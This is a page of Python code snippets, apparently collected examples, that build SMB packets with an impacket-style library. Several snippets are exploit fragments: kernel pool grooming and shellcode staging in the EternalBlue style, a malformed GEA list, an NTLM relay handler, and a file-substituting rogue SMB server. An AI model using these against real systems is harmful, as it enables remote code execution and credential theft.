Exemple #1
0
def sendEcho(conn, tid, data):
    pkt = smb.NewSMBPacket()
    pkt['Tid'] = tid

    transCommand = smb.SMBCommand(smb.SMB.SMB_COM_ECHO)
    transCommand['Parameters'] = smb.SMBEcho_Parameters()
    transCommand['Data'] = smb.SMBEcho_Data()

    transCommand['Parameters']['EchoCount'] = 1
    transCommand['Data']['Data'] = data
    pkt.addCommand(transCommand)

    conn.sendSMB(pkt)
    recvPkt = conn.recvSMB()
    if recvPkt.getNTStatus() == 0:
        print('got good ECHO response')
    else:
        print('got bad ECHO response: 0x{:x}'.format(recvPkt.getNTStatus()))
Exemple #2
0
def createSessionAllocNonPaged(target, size):
    # The big nonpaged pool allocation is in BlockingSessionSetupAndX() function
    # You can see the allocation logic (even code is not the same) in WinNT4 source code
    # https://github.com/Safe3/WinNT4/blob/master/private/ntos/srv/smbadmin.c#L1050 till line 1071
    conn = smb.SMB(target, target)
    _, flags2 = conn.get_flags()
    # FLAGS2_EXTENDED_SECURITY MUST not be set
    flags2 &= ~smb.SMB.FLAGS2_EXTENDED_SECURITY
    # if not use unicode, buffer size on target machine is doubled because converting ascii to utf16
    if size >= 0xffff:
        flags2 &= ~smb.SMB.FLAGS2_UNICODE
        reqSize = size // 2
    else:
        flags2 |= smb.SMB.FLAGS2_UNICODE
        reqSize = size
    conn.set_flags(flags2=flags2)

    pkt = smb.NewSMBPacket()

    sessionSetup = smb.SMBCommand(smb.SMB.SMB_COM_SESSION_SETUP_ANDX)
    sessionSetup['Parameters'] = smb.SMBSessionSetupAndX_Extended_Parameters()

    sessionSetup['Parameters'][
        'MaxBufferSize'] = 61440  # can be any value greater than response size
    sessionSetup['Parameters']['MaxMpxCount'] = 2  # can by any value
    sessionSetup['Parameters']['VcNumber'] = os.getpid()
    sessionSetup['Parameters']['SessionKey'] = 0
    sessionSetup['Parameters']['SecurityBlobLength'] = 0
    sessionSetup['Parameters']['Capabilities'] = smb.SMB.CAP_EXTENDED_SECURITY

    # I believe this is another SMB1 bug.
    # Empty SecurityBlob with CAP_EXTENDED_SECURITY but no FLAGS2_EXTENDED_SECURITY makes target confused the request type.
    # This request should be https://msdn.microsoft.com/en-us/library/cc246328.aspx. After some checking, a target use
    #   this request as https://msdn.microsoft.com/en-us/library/ee441849.aspx. So a target reads ByteCount from wrong offset.
    sessionSetup['Data'] = pack('<H', reqSize) + '\x00' * 20
    pkt.addCommand(sessionSetup)

    conn.sendSMB(pkt)
    recvPkt = conn.recvSMB()
    if recvPkt.getNTStatus() == 0:
        print('SMB1 session setup allocate nonpaged pool success')
    else:
        print('SMB1 session setup allocate nonpaged pool failed')
    return conn
Exemple #3
0
    def createFile(self, treeId, pathName, desiredAccess=GENERIC_ALL,
                   shareMode=FILE_SHARE_READ | FILE_SHARE_WRITE | FILE_SHARE_DELETE,
                   creationOption=FILE_NON_DIRECTORY_FILE, creationDisposition=FILE_OVERWRITE_IF,
                   fileAttributes=FILE_ATTRIBUTE_NORMAL, impersonationLevel=SMB2_IL_IMPERSONATION, securityFlags=0,
                   oplockLevel=SMB2_OPLOCK_LEVEL_NONE, createContexts=None):
        """
        creates a remote file

        :param HANDLE treeId: a valid handle for the share where the file is to be created
        :param string pathName: the path name of the file to create
        :return: a valid file descriptor, if not raises a SessionError exception.
        """

        if self.getDialect() == smb.SMB_DIALECT:
            _, flags2 = self._SMBConnection.get_flags()

            pathName = pathName.replace('/', '\\')
            pathName = pathName.encode('utf-16le') if flags2 & smb.SMB.FLAGS2_UNICODE else pathName

            ntCreate = smb.SMBCommand(smb.SMB.SMB_COM_NT_CREATE_ANDX)
            ntCreate['Parameters'] = smb.SMBNtCreateAndX_Parameters()
            ntCreate['Data']       = smb.SMBNtCreateAndX_Data(flags=flags2)
            ntCreate['Parameters']['FileNameLength']= len(pathName)
            ntCreate['Parameters']['AccessMask']    = desiredAccess
            ntCreate['Parameters']['FileAttributes']= fileAttributes
            ntCreate['Parameters']['ShareAccess']   = shareMode
            ntCreate['Parameters']['Disposition']   = creationDisposition
            ntCreate['Parameters']['CreateOptions'] = creationOption
            ntCreate['Parameters']['Impersonation'] = impersonationLevel
            ntCreate['Parameters']['SecurityFlags'] = securityFlags
            ntCreate['Parameters']['CreateFlags']   = 0x16
            ntCreate['Data']['FileName'] = pathName

            if flags2 & smb.SMB.FLAGS2_UNICODE:
                ntCreate['Data']['Pad'] = 0x0

            if createContexts is not None:
                LOG.error("CreateContexts not supported in SMB1")

            try:
                return self._SMBConnection.nt_create_andx(treeId, pathName, cmd = ntCreate)
            except (smb.SessionError, smb3.SessionError), e:
                raise SessionError(e.get_error_code(), e.get_error_packet())
Exemple #4
0
    def negotiateSessionWildcard(self, myName, remoteName, remoteHost, sess_port, timeout, extended_security=True, flags1=0,
                                 flags2=0, data=None):
        # Here we follow [MS-SMB2] negotiation handshake trying to understand what dialects
        # (including SMB1) is supported on the other end.

        if not myName:
            myName = socket.gethostname()
            i = myName.find('.')
            if i > -1:
                myName = myName[:i]

        tries = 0
        smbp = smb.NewSMBPacket()
        smbp['Flags1'] = flags1
        # FLAGS2_UNICODE is required by some stacks to continue, regardless of subsequent support
        smbp['Flags2'] = flags2 | smb.SMB.FLAGS2_UNICODE
        resp = None
        while tries < 2:
            self._nmbSession = nmb.NetBIOSTCPSession(myName, remoteName, remoteHost, nmb.TYPE_SERVER, sess_port,
                                                     timeout)

            negSession = smb.SMBCommand(smb.SMB.SMB_COM_NEGOTIATE)
            if extended_security is True:
                smbp['Flags2'] |= smb.SMB.FLAGS2_EXTENDED_SECURITY
            negSession['Data'] = data
            smbp.addCommand(negSession)
            self._nmbSession.send_packet(smbp.getData())

            try:
                resp = self._nmbSession.recv_packet(timeout)
                break
            except nmb.NetBIOSError:
                # OSX Yosemite asks for more Flags. Let's give it a try and see what happens
                smbp['Flags2'] |= smb.SMB.FLAGS2_NT_STATUS | smb.SMB.FLAGS2_LONG_NAMES | smb.SMB.FLAGS2_UNICODE
                smbp['Data'] = []

            tries += 1

        if resp is None:
            # No luck, quitting
            raise Exception('No answer!')

        return resp.get_trailer()
Exemple #5
0
 def create_nt_trans_secondary_packet(self,
                                      mid,
                                      param='',
                                      paramDisplacement=0,
                                      data='',
                                      dataDisplacement=0,
                                      pid=None,
                                      tid=None,
                                      noPad=False):
     transCmd = smb.SMBCommand(smb.SMB.SMB_COM_NT_TRANSACT_SECONDARY)
     transCmd['Parameters'] = SMBNTTransactionSecondary_Parameters()
     transCmd['Parameters']['TotalParameterCount'] = len(param)
     transCmd['Parameters']['TotalDataCount'] = len(data)
     transCmd['Parameters']['ParameterCount'] = len(param)
     transCmd['Parameters']['ParameterDisplacement'] = paramDisplacement
     transCmd['Parameters']['DataCount'] = len(data)
     transCmd['Parameters']['DataDisplacement'] = dataDisplacement
     _put_trans_data(transCmd, param, data, noPad)
     return self.create_smb_packet(transCmd, mid, pid, tid)
Exemple #6
0
def createSessionAllocNonPaged(target, size):
    # The big nonpaged pool allocation is in BlockingSessionSetupAndX() function
    # You can see the allocation logic (even code is not the same) in WinNT4 source code
    # https://github.com/Safe3/WinNT4/blob/master/private/ntos/srv/smbadmin.c#L1050 till line 1071
    conn = smb.SMB(target, target)
    _, flags2 = conn.get_flags()
    # FLAGS2_EXTENDED_SECURITY MUST not be set
    flags2 &= ~smb.SMB.FLAGS2_EXTENDED_SECURITY
    # if not use unicode, buffer size on target machine is doubled because converting ascii to utf16
    if size >= 0xffff:
        flags2 &= ~smb.SMB.FLAGS2_UNICODE
        reqSize = size // 2
    else:
        flags2 |= smb.SMB.FLAGS2_UNICODE
        reqSize = size
    conn.set_flags(flags2=flags2)

    pkt = smb.NewSMBPacket()

    sessionSetup = smb.SMBCommand(smb.SMB.SMB_COM_SESSION_SETUP_ANDX)
    sessionSetup['Parameters'] = SMBSessionSetupAndXCustom_Parameters()

    sessionSetup['Parameters'][
        'MaxBuffer'] = 61440  # can be any value greater than response size
    sessionSetup['Parameters']['MaxMpxCount'] = 2  # can by any value
    sessionSetup['Parameters']['VCNumber'] = os.getpid()
    sessionSetup['Parameters']['SessionKey'] = 0
    sessionSetup['Parameters']['AnsiPwdLength'] = 0
    sessionSetup['Parameters']['UnicodePwdLength'] = 0
    sessionSetup['Parameters']['Capabilities'] = 0x80000000

    # set ByteCount here
    sessionSetup['Data'] = pack('<H', size) + '\x00' * 20
    pkt.addCommand(sessionSetup)

    conn.sendSMB(pkt)
    recvPkt = conn.recvSMB()
    if recvPkt.getNTStatus() == 0:
        print('SMB1 session setup allocate nonpaged pool success')
    else:
        print('SMB1 session setup allocate nonpaged pool failed')
    return conn
    def send_echo_request(connection, tid, data):
        packet = smb.NewSMBPacket()
        packet['Tid'] = tid

        transfer_command = smb.SMBCommand(smb.SMB.SMB_COM_ECHO)
        transfer_command['Parameters'] = smb.SMBEcho_Parameters()
        transfer_command['Data'] = smb.SMBEcho_Data()
        transfer_command['Parameters']['EchoCount'] = 1
        transfer_command['Data']['Data'] = data

        packet.addCommand(transfer_command)

        connection.sendSMB(packet)
        retval_packet = connection.recvSMB()

        if retval_packet.getNTStatus() == 0:
            print("echo request succeeded")
        else:
            print("bad echo request: 0x{:x}".format(
                retval_packet.getNTStatus()))
Exemple #8
0
def login_put_staging_sc(conn, staging_sc, maxBufferSize):
    _, flags2 = conn.get_flags()

    # FLAGS2_EXTENDED_SECURITY MUST not be set
    flags2 &= ~smb.SMB.FLAGS2_EXTENDED_SECURITY

    # if not use unicode, buffer size on target machine is doubled because converting ascii to utf16
    flags2 |= smb.SMB.FLAGS2_UNICODE
    conn.set_flags(flags2=flags2)

    pkt = smb.NewSMBPacket()

    sessionSetup = smb.SMBCommand(smb.SMB.SMB_COM_SESSION_SETUP_ANDX)
    sessionSetup['Parameters'] = smb.SMBSessionSetupAndX_Extended_Parameters()
    sessionSetup['Parameters']['MaxBufferSize'] = maxBufferSize
    sessionSetup['Parameters']['MaxMpxCount'] = 2  # can by any value
    sessionSetup['Parameters']['VcNumber'] = 2  # any non-zero
    sessionSetup['Parameters']['SessionKey'] = 0
    sessionSetup['Parameters'][
        'SecurityBlobLength'] = 0  # this is OEMPasswordLen field in another format. 0 for NULL session
    # UnicodePasswordLen field is in Reserved for extended security format.
    sessionSetup['Parameters'][
        'Capabilities'] = smb.SMB.CAP_EXTENDED_SECURITY | smb.SMB.CAP_USE_NT_ERRORS

    # allocate nonpaged pool size 0x15ff (padding 1 byte, AccountName 2 bytes, PrimaryDomain 2 bytes)
    # UNICODE.maxBufferSize: 0x15ff
    # after maxBufferSize is padding which is '\x00'*4
    # so code is 'ff 15 00 00 00 00' => call [rip+0]
    # after padding is pointer to allocated npp and shellcode there
    sessionSetup['Data'] = pack('<H',
                                0x1604) + '\x00' * 5 + staging_sc + '\x00' * 8
    pkt.addCommand(sessionSetup)

    conn.sendSMB(pkt)
    recvPkt = conn.recvSMB()
    if recvPkt.isValidAnswer(smb.SMB.SMB_COM_SESSION_SETUP_ANDX):
        print('SMB1 session setup allocate nonpaged pool success')
        conn.set_uid(recvPkt['Uid'])
    else:
        print('SMB1 session setup allocate nonpaged pool failed')
        sys.exit()
Exemple #9
0
 def recv(self, forceRecv=0, count=0):
     if self._max_send_frag or self.__pending_recv:
         # _max_send_frag is checked because it's the same condition we checked
         # to decide whether to use write_andx() or send_trans() in send() above.
         if self.__pending_recv:
             self.__pending_recv -= 1
         return self.__smb_server.read_andx(self.__tid,
                                            self.__handle,
                                            max_size=self._max_recv_frag)
     elif forceRecv:
         return self.__smb_server.read_andx(self.__tid,
                                            self.__handle,
                                            max_size=self._max_recv_frag)
     else:
         s = self.__smb_server.recvSMB()
         if s.isValidAnswer(smb.SMB.SMB_COM_TRANSACTION):
             transResponse = smb.SMBCommand(s['Data'][0])
             transParameters = smb.SMBTransactionResponse_Parameters(
                 transResponse['Parameters'])
             return transResponse['Data'][-transParameters[
                 'TotalDataCount']:]  # Remove Potential Prefix Padding
         return None
Exemple #10
0
def list_path(conn, tid, path, password=None):
    findFirstParameter = smb.SMBFindFirst2_Parameters()
    findFirstParameter['SearchAttributes'] = smb.SMB_FILE_ATTRIBUTE_DIRECTORY | smb.SMB_FILE_ATTRIBUTE_HIDDEN | \
                                             smb.SMB_FILE_ATTRIBUTE_SYSTEM | smb.SMB_FILE_ATTRIBUTE_READONLY | \
                                             smb.SMB_FILE_ATTRIBUTE_ARCHIVE
    findFirstParameter['SearchCount'] = 512
    findFirstParameter[
        'Flags'] = smb.SMB_FIND_RETURN_RESUME_KEYS | smb.SMB_FIND_CLOSE_AT_EOS
    findFirstParameter['InformationLevel'] = 0x0003
    findFirstParameter['SearchStorageType'] = 0
    findFirstParameter['FileName'] = path + '\x00'
    geaList = pack('<L', 0x10007)  # this size is wrong
    geaList += (pack('<B', 0) + '\x00') * 0x100
    send_trans2(conn, tid, smb.SMB.TRANS2_FIND_FIRST2, '\x00',
                findFirstParameter, geaList)
    files = []

    totalDataCount = 1
    findData = ''
    findFirst2ParameterBlock = ''
    while len(findData) < totalDataCount:
        resp = conn.recvSMB()

        if resp.isValidAnswer(smb.SMB.SMB_COM_TRANSACTION2):
            trans2Response = smb.SMBCommand(resp['Data'][0])
            trans2Parameters = smb.SMBTransaction2Response_Parameters(
                trans2Response['Parameters'])
            totalDataCount = trans2Parameters['TotalDataCount']
            findFirst2ParameterBlock += trans2Response[
                'Data'][trans2Parameters['ParameterOffset'] -
                        55:][:trans2Parameters['ParameterCount']]
            findData += trans2Response['Data'][trans2Parameters['DataOffset'] -
                                               55:]

    findParameterBlock = smb.SMBFindFirst2Response_Parameters(
        findFirst2ParameterBlock)
    sid = findParameterBlock['SID']
    print sid
    return files
    def create_alloc_session(target, size):
        connection = smb.SMB(target, target)
        _, flags = connection.get_flags()
        flags &= ~smb.SMB.FLAGS2_EXTENDED_SECURITY

        if size >= 0xffff:
            flags &= ~smb.SMB.FLAGS2_UNICODE
            request_size = size // 2
        else:
            flags |= smb.SMB.FLAGS2_UNICODE
            request_size = size

        connection.set_flags(flags2=flags)

        packet = smb.NewSMBPacket()

        session_setup = smb.SMBCommand(smb.SMB.SMB_COM_SESSION_SETUP_ANDX)
        session_setup[
            'Parameters'] = smb.SMBSessionSetupAndX_Extended_Parameters()
        session_setup['Parameters']['MaxBufferSize'] = 61440
        session_setup['Parameters']['MaxMpxCount'] = 2
        session_setup['Parameters']['VcNumber'] = 2
        session_setup['Parameters']['SessionKey'] = 0
        session_setup['Parameters']['SecurityBlobLength'] = 0
        session_setup['Parameters'][
            'Capabilities'] = smb.SMB.CAP_EXTENDED_SECURITY
        session_setup['Data'] = struct.pack('<H', request_size) + '\x00' * 20

        packet.addCommand(session_setup)

        connection.sendSMB(packet)

        retval_packet = connection.recvSMB()
        if retval_packet.getNTStatus() == 0:
            print('SMB1 session setup allocate nonpaged pool success')
        else:
            print('SMB1 session setup allocate nonpaged pool failed')
        return connection
    def send_transfer_second(connection, tid, data, displacement):
        pkt = smb.NewSMBPacket()
        pkt['Tid'] = tid

        # assume no params

        transfer_command = smb.SMBCommand(
            smb.SMB.SMB_COM_TRANSACTION2_SECONDARY)
        transfer_command[
            'Parameters'] = lib.settings.SMBTransaction2SecondaryParametersFixed(
            )
        transfer_command['Data'] = smb.SMBTransaction2Secondary_Data()
        transfer_command['Parameters']['TotalParameterCount'] = 0
        transfer_command['Parameters']['TotalDataCount'] = len(data)

        fixed_offset = 32 + 3 + 18

        transfer_command['Data']['Pad1'] = ''
        transfer_command['Parameters']['ParameterCount'] = 0
        transfer_command['Parameters']['ParameterOffset'] = 0

        if len(data) > 0:
            pad_to_len = (4 - fixed_offset % 4) % 4
            transfer_command['Data']['Pad2'] = '\xFF' * pad_to_len
        else:
            transfer_command['Data']['Pad2'] = ''
            pad_to_len = 0

        transfer_command['Parameters']['DataCount'] = len(data)
        transfer_command['Parameters'][
            'DataOffset'] = fixed_offset + pad_to_len
        transfer_command['Parameters']['DataDisplacement'] = displacement
        transfer_command['Data']['Trans_Parameters'] = ''
        transfer_command['Data']['Trans_Data'] = data

        pkt.addCommand(transfer_command)

        connection.sendSMB(pkt)
Exemple #13
0
 def run(self):
     self.connectPipe()
     while True:
         try:
             ans = self.server.read_andx(self.tid,
                                         self.fid,
                                         max_size=1024,
                                         wait_answer=0)
         except Exception, e:
             pass
         else:
             if ans['Command'] == smb.SMB.SMB_COM_READ_ANDX:
                 try:
                     readAndXResponse = smb.SMBCommand(ans['Data'][0])
                     readAndXParameters = smb.SMBReadAndXResponse_Parameters(
                         readAndXResponse['Parameters'])
                     offset = readAndXParameters['DataOffset']
                     count = readAndXParameters[
                         'DataCount'] + 0x10000 * readAndXParameters[
                             'DataCount_Hi']
                     if count > 0:
                         data = str(ans)[offset:offset + count]
                         global LastDataSent
                         if data != LastDataSent:
                             sys.stdout.write(
                                 str(ans)[offset:offset + count])
                             sys.stdout.flush()
                         else:
                             # Don't echo what I sent, and clear it up
                             LastDataSent = ''
                         # Just in case this got out of sync, i'm cleaning it up if there are more than 10 chars,
                         # it will give false positives tho.. we should find a better way to handle this.
                         if LastDataSent > 10:
                             LastDataSent = ''
                     ans['Command'] = 0
                 except:
                     pass
Exemple #14
0
    def _negotiateSession(self,
                          myName,
                          remoteName,
                          remoteHost,
                          sess_port,
                          timeout,
                          extended_security=True):
        # Here we follow [MS-SMB2] negotiation handshake trying to understand what dialects
        # (including SMB1) is supported on the other end.

        if not myName:
            myName = socket.gethostname()
            i = string.find(myName, '.')
            if i > -1:
                myName = myName[:i]

        # If port 445 and the name sent is *SMBSERVER we're setting the name to the IP. This is to help some old applications still believing
        # *SMSBSERVER will work against modern OSes. If port is NETBIOS_SESSION_PORT the user better know about *SMBSERVER's limitations
        if sess_port == 445 and remoteName == '*SMBSERVER':
            remoteName = remoteHost

        self._nmbSession = nmb.NetBIOSTCPSession(myName, remoteName,
                                                 remoteHost, nmb.TYPE_SERVER,
                                                 sess_port, timeout)

        smbp = smb.NewSMBPacket()
        negSession = smb.SMBCommand(smb.SMB.SMB_COM_NEGOTIATE)
        if extended_security == True:
            smbp['Flags2'] = smb.SMB.FLAGS2_EXTENDED_SECURITY
        negSession[
            'Data'] = '\x02NT LM 0.12\x00\x02SMB 2.002\x00\x02SMB 2.???\x00'
        smbp.addCommand(negSession)
        self._nmbSession.send_packet(str(smbp))

        r = self._nmbSession.recv_packet(timeout)

        return r.get_trailer()
Exemple #15
0
 def create_trans2_packet(self,
                          setup,
                          param='',
                          data='',
                          mid=None,
                          maxSetupCount=None,
                          totalParameterCount=None,
                          totalDataCount=None,
                          maxParameterCount=None,
                          maxDataCount=None,
                          pid=None,
                          tid=None,
                          noPad=False):
     if maxSetupCount is None:
         maxSetupCount = len(setup)
     if totalParameterCount is None:
         totalParameterCount = len(param)
     if totalDataCount is None:
         totalDataCount = len(data)
     if maxParameterCount is None:
         maxParameterCount = totalParameterCount
     if maxDataCount is None:
         maxDataCount = totalDataCount
     transCmd = smb.SMBCommand(smb.SMB.SMB_COM_TRANSACTION2)
     transCmd['Parameters'] = smb.SMBTransaction2_Parameters()
     transCmd['Parameters']['TotalParameterCount'] = totalParameterCount
     transCmd['Parameters']['TotalDataCount'] = totalDataCount
     transCmd['Parameters']['MaxParameterCount'] = maxParameterCount
     transCmd['Parameters']['MaxDataCount'] = maxDataCount
     transCmd['Parameters']['MaxSetupCount'] = len(setup)
     transCmd['Parameters']['Flags'] = 0
     transCmd['Parameters']['Timeout'] = 0xffffffff
     transCmd['Parameters']['ParameterCount'] = len(param)
     transCmd['Parameters']['DataCount'] = len(data)
     transCmd['Parameters']['Setup'] = setup
     _put_trans_data(transCmd, param, data, noPad)
     return self.create_smb_packet(transCmd, mid, pid, tid)
Exemple #16
0
 def create_nt_trans_packet(self,
                            function,
                            setup='',
                            param='',
                            data='',
                            mid=None,
                            maxSetupCount=None,
                            totalParameterCount=None,
                            totalDataCount=None,
                            maxParameterCount=None,
                            maxDataCount=None,
                            pid=None,
                            tid=None,
                            noPad=False):
     if maxSetupCount is None:
         maxSetupCount = len(setup)
     if totalParameterCount is None:
         totalParameterCount = len(param)
     if totalDataCount is None:
         totalDataCount = len(data)
     if maxParameterCount is None:
         maxParameterCount = totalParameterCount
     if maxDataCount is None:
         maxDataCount = totalDataCount
     transCmd = smb.SMBCommand(smb.SMB.SMB_COM_NT_TRANSACT)
     transCmd['Parameters'] = smb.SMBNTTransaction_Parameters()
     transCmd['Parameters']['MaxSetupCount'] = maxSetupCount
     transCmd['Parameters']['TotalParameterCount'] = totalParameterCount
     transCmd['Parameters']['TotalDataCount'] = totalDataCount
     transCmd['Parameters']['MaxParameterCount'] = maxParameterCount
     transCmd['Parameters']['MaxDataCount'] = maxDataCount
     transCmd['Parameters']['ParameterCount'] = len(param)
     transCmd['Parameters']['DataCount'] = len(data)
     transCmd['Parameters']['Function'] = function
     transCmd['Parameters']['Setup'] = setup
     _put_trans_data(transCmd, param, data, noPad)
     return self.create_smb_packet(transCmd, mid, pid, tid)
Exemple #17
0
        def send_trans2_second(self, conn, tid, data, displacement):
            pkt = smb.NewSMBPacket()
            pkt['Tid'] = tid

            transCommand = smb.SMBCommand(
                smb.SMB.SMB_COM_TRANSACTION2_SECONDARY)
            transCommand[
                'Parameters'] = self.SMBTransaction2Secondary_Parameters_Fixed(
                )
            transCommand['Data'] = smb.SMBTransaction2Secondary_Data()

            transCommand['Parameters']['TotalParameterCount'] = 0
            transCommand['Parameters']['TotalDataCount'] = len(data)

            fixedOffset = 32 + 3 + 18
            transCommand['Data']['Pad1'] = b''

            transCommand['Parameters']['ParameterCount'] = 0
            transCommand['Parameters']['ParameterOffset'] = 0

            if len(data) > 0:
                pad2Len = (4 - fixedOffset % 4) % 4
                transCommand['Data']['Pad2'] = b'\xFF' * pad2Len
            else:
                transCommand['Data']['Pad2'] = b''
                pad2Len = 0

            transCommand['Parameters']['DataCount'] = len(data)
            transCommand['Parameters']['DataOffset'] = fixedOffset + pad2Len
            transCommand['Parameters']['DataDisplacement'] = displacement

            transCommand['Data']['Trans_Parameters'] = b''
            transCommand['Data']['Trans_Data'] = data

            pkt.addCommand(transCommand)
            conn.sendSMB(pkt)
Exemple #18
0
    def smbComTreeConnectAndX(self, connId, smbServer, SMBCommand, recvPacket):
        connData = smbServer.getConnectionData(connId)

        resp = smb.NewSMBPacket()
        resp['Flags1'] = smb.SMB.FLAGS1_REPLY
        resp[
            'Flags2'] = smb.SMB.FLAGS2_EXTENDED_SECURITY | smb.SMB.FLAGS2_NT_STATUS | smb.SMB.FLAGS2_LONG_NAMES | recvPacket[
                'Flags2'] & smb.SMB.FLAGS2_UNICODE

        resp['Tid'] = recvPacket['Tid']
        resp['Mid'] = recvPacket['Mid']
        resp['Pid'] = connData['Pid']

        respSMBCommand = smb.SMBCommand(smb.SMB.SMB_COM_TREE_CONNECT_ANDX)
        respParameters = smb.SMBTreeConnectAndXResponse_Parameters()
        respData = smb.SMBTreeConnectAndXResponse_Data()

        treeConnectAndXParameters = smb.SMBTreeConnectAndX_Parameters(
            SMBCommand['Parameters'])

        if treeConnectAndXParameters['Flags'] & 0x8:
            respParameters = smb.SMBTreeConnectAndXExtendedResponse_Parameters(
            )

        treeConnectAndXData = smb.SMBTreeConnectAndX_Data(
            flags=recvPacket['Flags2'])
        treeConnectAndXData['_PasswordLength'] = treeConnectAndXParameters[
            'PasswordLength']
        treeConnectAndXData.fromString(SMBCommand['Data'])

        errorCode = STATUS_SUCCESS

        UNCOrShare = decodeSMBString(recvPacket['Flags2'],
                                     treeConnectAndXData['Path'])

        # Is this a UNC?
        if ntpath.ismount(UNCOrShare):
            path = UNCOrShare.split('\\')[3]
        else:
            path = ntpath.basename(UNCOrShare)

        # We won't search for the share.. all of them exist :P
        smbServer.log("TreeConnectAndX request for %s" % path, logging.INFO)
        #share = searchShare(connId, path, smbServer)
        share = {}
        # Simple way to generate a Tid
        if len(connData['ConnectedShares']) == 0:
            tid = 1
        else:
            tid = connData['ConnectedShares'].keys()[-1] + 1
        connData['ConnectedShares'][tid] = share
        connData['ConnectedShares'][tid]['path'] = '/'
        connData['ConnectedShares'][tid]['shareName'] = path
        resp['Tid'] = tid
        #smbServer.log("Connecting Share(%d:%s)" % (tid,path))

        respParameters['OptionalSupport'] = smb.SMB.SMB_SUPPORT_SEARCH_BITS

        if path == 'IPC$':
            respData['Service'] = 'IPC'
        else:
            respData['Service'] = path
        respData['PadLen'] = 0
        respData['NativeFileSystem'] = encodeSMBString(recvPacket['Flags2'],
                                                       'NTFS')

        respSMBCommand['Parameters'] = respParameters
        respSMBCommand['Data'] = respData

        resp['Uid'] = connData['Uid']
        resp.addCommand(respSMBCommand)
        smbServer.setConnectionData(connId, connData)

        return None, [resp], errorCode
Exemple #19
0
    def smbComNtCreateAndX(self, connId, smbServer, SMBCommand, recvPacket):
        connData = smbServer.getConnectionData(connId)

        ntCreateAndXParameters = smb.SMBNtCreateAndX_Parameters(
            SMBCommand['Parameters'])
        ntCreateAndXData = smb.SMBNtCreateAndX_Data(flags=recvPacket['Flags2'],
                                                    data=SMBCommand['Data'])

        respSMBCommand = smb.SMBCommand(smb.SMB.SMB_COM_NT_CREATE_ANDX)

        #ntCreateAndXParameters.dump()

        # Let's try to avoid allowing write requests from the client back to us
        # not 100% bulletproof, plus also the client might be using other SMB
        # calls (e.g. SMB_COM_WRITE)
        createOptions = ntCreateAndXParameters['CreateOptions']
        if createOptions & smb.FILE_DELETE_ON_CLOSE == smb.FILE_DELETE_ON_CLOSE:
            errorCode = STATUS_ACCESS_DENIED
        elif ntCreateAndXParameters[
                'Disposition'] & smb.FILE_OVERWRITE == FILE_OVERWRITE:
            errorCode = STATUS_ACCESS_DENIED
        elif ntCreateAndXParameters[
                'Disposition'] & smb.FILE_OVERWRITE_IF == FILE_OVERWRITE_IF:
            errorCode = STATUS_ACCESS_DENIED
        elif ntCreateAndXParameters[
                'AccessMask'] & smb.FILE_WRITE_DATA == FILE_WRITE_DATA:
            errorCode = STATUS_ACCESS_DENIED
        elif ntCreateAndXParameters[
                'AccessMask'] & smb.FILE_APPEND_DATA == FILE_APPEND_DATA:
            errorCode = STATUS_ACCESS_DENIED
        elif ntCreateAndXParameters[
                'AccessMask'] & smb.GENERIC_WRITE == GENERIC_WRITE:
            errorCode = STATUS_ACCESS_DENIED
        elif ntCreateAndXParameters['AccessMask'] & 0x10000 == 0x10000:
            errorCode = STATUS_ACCESS_DENIED
        else:
            errorCode = STATUS_SUCCESS

        if errorCode == STATUS_ACCESS_DENIED:
            return [respSMBCommand], None, errorCode

        # 1. Let's grab the extension and map the file's contents we will deliver
        origPathName = os.path.normpath(
            decodeSMBString(recvPacket['Flags2'],
                            ntCreateAndXData['FileName']).replace('\\', '/'))

        _, origPathNameExtension = os.path.splitext(origPathName)
        origPathNameExtension = origPathNameExtension.upper()[1:]

        if self.extensions.has_key(origPathNameExtension.upper()):
            targetFile = self.extensions[origPathNameExtension.upper()]
        else:
            targetFile = self.defaultFile

        # 2. We change the filename in the request for our targetFile
        ntCreateAndXData['FileName'] = encodeSMBString(
            flags=recvPacket['Flags2'], text=targetFile)
        SMBCommand['Data'] = str(ntCreateAndXData)
        smbServer.log(
            "%s is asking for %s. Delivering %s" %
            (connData['ClientIP'], origPathName, targetFile), logging.INFO)

        # 3. We call the original call with our modified data
        return self.origsmbComNtCreateAndX(connId, smbServer, SMBCommand,
                                           recvPacket)
Exemple #20
0
    def SmbSessionSetupAndX(self, connId, smbServer, SMBCommand, recvPacket):

        connData = smbServer.getConnectionData(connId, checkStatus=False)
        #############################################################
        # SMBRelay
        smbData = smbServer.getConnectionData('SMBRelay', False)
        #############################################################

        respSMBCommand = smb.SMBCommand(smb.SMB.SMB_COM_SESSION_SETUP_ANDX)

        if connData['_dialects_parameters'][
                'Capabilities'] & smb.SMB.CAP_EXTENDED_SECURITY:
            # Extended security. Here we deal with all SPNEGO stuff
            respParameters = smb.SMBSessionSetupAndX_Extended_Response_Parameters(
            )
            respData = smb.SMBSessionSetupAndX_Extended_Response_Data()
            sessionSetupParameters = smb.SMBSessionSetupAndX_Extended_Parameters(
                SMBCommand['Parameters'])
            sessionSetupData = smb.SMBSessionSetupAndX_Extended_Data()
            sessionSetupData['SecurityBlobLength'] = sessionSetupParameters[
                'SecurityBlobLength']
            sessionSetupData.fromString(SMBCommand['Data'])
            connData['Capabilities'] = sessionSetupParameters['Capabilities']

            if struct.unpack(
                    'B', sessionSetupData['SecurityBlob'][0])[0] != ASN1_AID:
                # If there no GSSAPI ID, it must be an AUTH packet
                blob = SPNEGO_NegTokenResp(sessionSetupData['SecurityBlob'])
                token = blob['ResponseToken']
            else:
                # NEGOTIATE packet
                blob = SPNEGO_NegTokenInit(sessionSetupData['SecurityBlob'])
                token = blob['MechToken']

            # Here we only handle NTLMSSP, depending on what stage of the
            # authentication we are, we act on it
            messageType = struct.unpack(
                '<L', token[len('NTLMSSP\x00'):len('NTLMSSP\x00') + 4])[0]

            if messageType == 0x01:
                # NEGOTIATE_MESSAGE
                negotiateMessage = ntlm.NTLMAuthNegotiate()
                negotiateMessage.fromString(token)
                # Let's store it in the connection data
                connData['NEGOTIATE_MESSAGE'] = negotiateMessage

                #############################################################
                # SMBRelay: Ok.. So we got a NEGOTIATE_MESSAGE from a client.
                # Let's send it to the target server and send the answer back to the client.
                client = smbData[self.target]['SMBClient']
                challengeMessage = self.do_ntlm_negotiate(client, token)
                #############################################################

                respToken = SPNEGO_NegTokenResp()
                # accept-incomplete. We want more data
                respToken['NegResult'] = '\x01'
                respToken['SupportedMech'] = TypesMech[
                    'NTLMSSP - Microsoft NTLM Security Support Provider']

                respToken['ResponseToken'] = str(challengeMessage)

                # Setting the packet to STATUS_MORE_PROCESSING
